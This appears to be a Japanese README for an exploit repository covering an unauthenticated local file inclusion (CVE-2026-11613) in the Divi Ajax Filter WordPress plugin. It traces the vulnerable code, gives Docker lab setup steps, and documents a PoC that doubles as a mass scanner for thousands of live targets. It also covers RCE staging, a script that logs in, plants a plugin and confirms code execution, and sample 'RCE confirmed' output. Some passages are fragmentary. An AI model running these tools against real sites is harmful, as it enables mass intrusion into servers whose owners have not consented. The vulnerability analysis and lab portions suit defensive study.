
Divi Ajax Filter <= 5.1.2 'custom_loop_template' による未認証のローカルファイルインクルージョン
| プラグイン | Divi Ajax Filter(Divi Engine、プレミアム版 — wordpress.org SVN には非掲載) |
| 影響を受けるバージョン | すべてのバージョン <= 5.1.2(ラボではミラーから 3.1.8.4 を使用) |
| パッチ適用済み | 5.1.3(2026年8月11日) |
| タイプ | CWE-98 — PHP ローカルファイルインクルージョン、未認証 |
| CVSS | 9.8 Critical(AV:N/AC:L/PR:N/UI:N) |
| アドバイザリ | Wordfence(発見者: h0xilo)、2026年9月4日公開 |
| コードソース | 公開ミラー: github.com/albertoformi/fr9z3i4pwxt3qx(WP サイト + プラグインは includes/modules/divi-ajax-filter/ 内) |
includes/modules/FilterPosts/FilterPosts.php:1759 が
wp_create_nonce('filter_object') を生成し、wp_localize_script
(filter_ajax_object.security)経由で、すべての訪問者
(wp_enqueue_scripts)にエンキューされるスクリプトへ付与する。Nonce は障壁にならない:
すべての訪問者がそのコピーを持っている。filter_ajax.php:3406-3407 と loadmore_ajax.php:569-570
が wp_ajax_nopriv_*(ログインなし)でハンドラを登録する。filter_ajax.php:114-133(loadmore: 73-91):
$loop_var = json_decode(sanitize_text_field($_POST['loop_var']))、その後
$custom_loop_template = $loop_var['custom_loop_template'] をそのまま使用 —
basename() なし、ホワイトリストなし、realpath チェックなし。filter_ajax.php:2871-2873(loadmore: 344-346):
if ($loop_templates == 'custom-template') {
if (file_exists(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template)) {
include(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template);
query の
$posttype は自由、許可リストなし)、かつクエリは 1 件以上の投稿を返す必要がある。<webroot>/wp-content/themes/<theme>/divi-ajax-filter/loop-templates/
→ webroot に戻るには ../../../../../(5回)が必要。重要:
file_exists()/include() はパスプレフィックスコンポーネントが存在しない場合、静かに失敗する —
テーマ内の divi-ajax-filter/loop-templates/ ディレクトリが存在する必要がある(これは
プラグインが文書化しているカスタムテンプレート構造なので、この機能を使うサイトでは一般的に存在する;
そのディレクトリがなければトラバーサルは事実上ブロックされる)。cve-2026-11613/
├── poc_http.py # PoC + ライブ大規模スキャナー(単一ファイル)
├── divi-ajax-filter-3.1.8.4.zip # インストール可能なプラグイン(WP 管理画面 / プラグイン > 新規追加 からアップロード)
├── README.md
├── mirror-site/ # github albertoformi/fr9z3i4pwxt3qx のクローン
│ └── includes/modules/divi-ajax-filter/ # プラグイン v3.1.8.4(影響を受けるバージョン)
└── lab/
├── docker-compose.yml # WP 6.5 + MariaDB、ポート 8099
├── setup.sh # プラグインのコピー + compose up
├── install_wp.sh # WP のインストール + 検証
└── wp-content/
├── mu-plugins/
│ ├── zz-divi-shim.php # DiviExtension/ET_Builder_* のシム(ラボ専用)
│ └── zz-activate-daf.php # プラグインの自動有効化
├── plugins/divi-ajax-filter/ # 脆弱なプラグイン(コンテナにマウント)
└── uploads/poc-rce.php # シミュレートされた「アップロード」ペイロード(最後に exit)
bash lab/setup.sh # プラグインのコピー + docker compose up(ポート 8099)
bash lab/install_wp.sh # WP のインストール(admin / LabPass!2026)
# トラバーサルに必要なテーマ構造を追加:
docker exec lab-wp-1 mkdir -p /var/www/html/wp-content/themes/twentytwentyfour/divi-ajax-filter/loop-templates
# サンプル投稿を2件作成(一度だけ):
docker run --rm --volumes-from lab-wp-1 --network lab_default \
-e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress \
-e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress \
wordpress:cli wp post create --post_title="Lab Post 1" --post_status=publish
python poc_http.py target.com # 自動で http:// を付与
python poc_http.py https://target.com domain2.com # 複数ターゲット
python poc_http.py --list targets.txt --threads 30 # 5000+ の大規模スキャン
python poc_http.py --list targets.txt --fast # 軽量スイープ 2 req/ターゲット
python poc_http.py target.com --upload-name sh.php --upload-marker MYPWNED # RCE ステージング
http:// になる; 自動重複排除; 結果は
即座に results_cve-2026-11613.csv へインクリメンタル書き込み(Ctrl-C 安全、部分結果は保存済み)。VULN: LFI / VULN: LFI+RCE(緑)、not-confirmed(黄)、
NO-NONCE / NO-PLUGIN(シアン)、UNREACHABLE / ERROR(赤)。--no-color / 環境変数 NO_COLOR でプレーン出力; パイプ時は自動的に色が無効化。python wayang.py <site> <wp-user> <wp-pass>
単一コマンド: ログイン → canary WayangXploit を埋め込む(非アクティブな小さなプラグイン、
PoC 専用: marker+uid+uname を出力して exit、webshell ではなく、cmd パラメータなし)
→ 検証 → 未認証 LFI スイープ → RCE 判定。自動: https アップグレード、
SSL バイパス、リダイレクト保持 POST。クリーンアップ: テスト後に wp-admin で
「WayangXploit Canary」+「Divi Compat Shim」プラグインを削除。
poc_http.py は現在デフォルトで --upload-marker WayangXploit-RCE-CONFIRMED
(つまり --upload-rel / --upload-name だけで十分)。
[+] LFI: action=divi_filter_ajax_handler depth=5: included xmlrpc.php EXECUTED (marker 'methodResponse')
[+] RCE: action=divi_filter_ajax_handler depth=5: included wp-content/uploads/poc-rce.php EXECUTED
VERDICT: VULNERABLE - RCE confirmed
evidence: CVE-2026-11613-RCE-CONFIRMED | uid=33 user=www-data | uname=Linux ... 6.18.33.2-microsoft-standard-WSL2
ライブターゲットでの悪用可能性の条件(live_scan.py がチェックするもの):
filter_object nonce が公開ページで露出している(モジュールスクリプトがエンキューされている)。<theme>/divi-ajax-filter/loop-templates/ が存在する(プレフィックス付きトラバーサルに必要)。